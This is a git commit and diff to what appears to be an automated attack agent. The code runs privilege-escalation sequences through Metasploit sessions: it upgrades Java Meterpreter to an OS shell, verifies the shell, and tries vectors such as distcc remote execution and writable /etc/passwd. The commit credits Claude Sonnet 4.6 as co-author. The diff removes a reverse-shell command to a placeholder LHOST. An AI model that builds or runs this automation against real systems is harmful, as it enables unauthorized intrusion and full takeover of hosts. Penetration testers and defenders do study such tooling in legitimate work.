fix: upgrade to OS shell before privesc commands

- _run_privesc_sequence: for Java Meterpreter (arch==java), load stdapi
  then execute -f /bin/bash before running any shell commands; verify
  shell is usable with 'id || whoami' and fallback execute -H -f /bin/sh
  if 'Unknown command' is returned
- Per-attempt timeout: read attempt.get("timeout", 15) so distcc_rce
  can use 30s without affecting other vectors
- distcc_rce: use DISTCC_HOSTS='127.0.0.1' distcc /bin/sh -c 'id'
  (local test probe) with timeout 30
- msf_local_exploit: cast SESSION to int(session_id)

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

Author: Kim-San04

agent/action_executor.py

@@ -398,7 +398,8 @@ def _execute_post_exploit(self, decision: Dict):
         {
             "name": "distcc_rce",
             "check": "which distcc 2>/dev/null",
-            "exploit": "distcc sh -c 'sh -i >& /dev/tcp/LHOST/5555 0>&1'",
+            "exploit": "DISTCC_HOSTS='127.0.0.1' distcc /bin/sh -c 'id'",
+            "timeout": 30,
         },
         {
             "name": "writable_passwd",
@@ -421,7 +422,33 @@ def _execute_privesc(self, decision: Dict):
 
     def _run_privesc_sequence(self, session_id: str) -> str:
         session = self.msf_client.sessions.session(session_id)
+        arch = self.state.sessions.get(session_id, {}).get("arch", "")
 
+        # ── Step 1: upgrade Java Meterpreter to OS shell ───────────────────
+        if arch == "java":
+            try:
+                session.run_with_output("load stdapi", timeout=10)
+            except Exception:
+                pass
+            try:
+                session.run_with_output(
+                    "execute -f /bin/bash -i -H -c", timeout=5
+                )
+            except Exception:
+                pass
+
+        # ── Step 2: verify we have a usable shell ──────────────────────────
+        test = session.run_with_output("id 2>/dev/null || whoami", timeout=10)
+        print(f"[PRIVESC] Shell check: {test.strip()}")
+        if "Unknown command" in str(test):
+            try:
+                session.run_with_output(
+                    "execute -H -f /bin/sh -a '-c \"id\"'", timeout=10
+                )
+            except Exception:
+                pass
+
+        # ── Step 3: attempt privesc vectors in order ───────────────────────
         for attempt in self.PRIVESC_ATTEMPTS:
             name = attempt["name"]
             if name in self.state.privesc_tried:
@@ -437,19 +464,20 @@ def _run_privesc_sequence(self, session_id: str) -> str:
                     continue
 
                 exploit = attempt["exploit"]
+                exploit_timeout = attempt.get("timeout", 15)
 
                 # MSF post-module path
                 if exploit.startswith("msf_module:"):
                     module_path = exploit.replace("msf_module:", "")
                     msf_mod = self.msf_client.modules.use(
                         "post", module_path.split("/", 1)[1]
                     )
-                    msf_mod["SESSION"] = session_id
+                    msf_mod["SESSION"] = int(session_id)
                     msf_mod.execute()
                     time.sleep(5)
                     continue
 
-                output = session.run_with_output(exploit, timeout=15)
+                output = session.run_with_output(exploit, timeout=exploit_timeout)
                 print(f"[PRIVESC] Output : {output[:150]}")
 
                 if "followup" in attempt: